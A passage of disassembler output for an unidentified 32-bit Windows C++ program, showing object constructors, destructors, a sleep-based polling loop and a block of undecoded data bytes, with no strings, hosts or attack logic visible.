sub_417AA0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417AA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AC0	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417AC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B80	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F054
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CF0	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F058
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DB0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417DB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DE0	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_417DE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E10	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F074
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417ED0	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417ED0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417ED0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F90	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418040	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418040
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418040	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180C0	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418140	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		retn
sub_418140	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418170	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418170	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181F0	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		retn
sub_4181F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418220	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		retn
sub_418220	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418250	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418250	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182F0	proc near		; CODE XREF: sub_40126Cj

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418308:				; CODE XREF: sub_4182F0+E4j
		test	bl, bl
		jnz	loc_4183DE
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41831E
		mov	bl, 1
		jmp	short loc_418332
; ---------------------------------------------------------------------------


loc_41831E:				; CODE XREF: sub_4182F0+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418339


loc_418332:				; CODE XREF: sub_4182F0+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418339:				; CODE XREF: sub_4182F0+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4183BE


loc_418374:				; CODE XREF: sub_4182F0+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41839B
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_41839B:				; CODE XREF: sub_4182F0+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_418374


loc_4183BE:				; CODE XREF: sub_4182F0+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418308
		test	bl, bl
		jz	short loc_4183EB


loc_4183DE:				; CODE XREF: sub_4182F0+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4183EB:				; CODE XREF: sub_4182F0+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_4182F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418450	proc near		; CODE XREF: sub_401776j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418450
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_418490
		push	eax
		jmp	short loc_418495
; ---------------------------------------------------------------------------


loc_418490:				; CODE XREF: sub_418450+3Bj
		push	offset byte_448F30


loc_418495:				; CODE XREF: sub_418450+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184AE
		push	edi
		jmp	short loc_4184B3
; ---------------------------------------------------------------------------


loc_4184AE:				; CODE XREF: sub_418450+59j
		push	offset byte_448F30


loc_4184B3:				; CODE XREF: sub_418450+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418450	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE94ABE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E160E8h, 8FD2E871h
		dd 8E8DFFFEh, 1BBEh, 0FE92FBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94FDh, 15FBE8Dh, 0CF8B0000h, 0FE9833E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8CF3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E92h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 6E8CF8Bh,	8BFFFE96h, 8C27E8CFh, 868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 0A9E8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 33E855CFh
		dd 84FFFE9Ah, 530B75C0h, 0E8CF8B55h, 0FFFE8EF5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9395h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE9A25E8h, 74C084FFh
		dd 90006A08h, 82189DE8h, 9924E877h, 8E8DFFFEh, 168h, 0FE91FDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9A44h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 9A16E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BFCE8FFh, 9E8DFFFEh, 8EF5Dh, 0A7E8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D9CE800h,	8E8DFFFEh, 1D29h, 0FE9746E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE949Dh, 0F2858E8Dh, 0B0E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9090E800h,	8E8DFFFEh, 8F3A2h, 0FE9B89E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE97E1h, 8EE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 98E7E800h,	0CF8BFFFEh, 0FE89AEE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9579h, 0FB058E8Dh, 0F1E80009h, 8DFFFE94h
		dd 9FAD38Eh, 9860E800h,	8E8DFFFEh, 9FB93h, 0FE92ABE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE998Fh, 0FBFF8E8Dh, 1AE80009h
		dd 8BFFFE95h, 8B86E8CEh, 8E8DFFFEh, 8F270h, 5BE8F88Bh
		dd 8BFFFE90h, 9054E8CBh, 2DE8FFFEh, 90FFFE94h, 69BD23E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 0D7E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418800:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418820:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401776
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418850	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418850	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4188C0	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_4188C0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418900	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418970	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189E0	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_4189E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A30	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A50	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AA0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AD0	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_418AE7
		push	eax
		nop
		call	near ptr 71AB9639h


loc_418AE7:				; CODE XREF: sub_418AD0+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_418AD0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B00	proc near		; CODE XREF: ___:00401267j sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_418B18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_418B18:				; CODE XREF: sub_418B00+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_418B00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B30	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F068
		test	eax, eax
		jle	short loc_418B47
		push	eax
		call	near ptr 71AB9639h
		nop


loc_418B47:				; CODE XREF: sub_418B30+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_418B30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418B60:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_418B78
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_418B78:				; CODE XREF: ___:00418B6Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_401771j
		mov	dword ptr [ecx], offset	off_43F0A0
		jmp	sub_40204F
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418BB0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
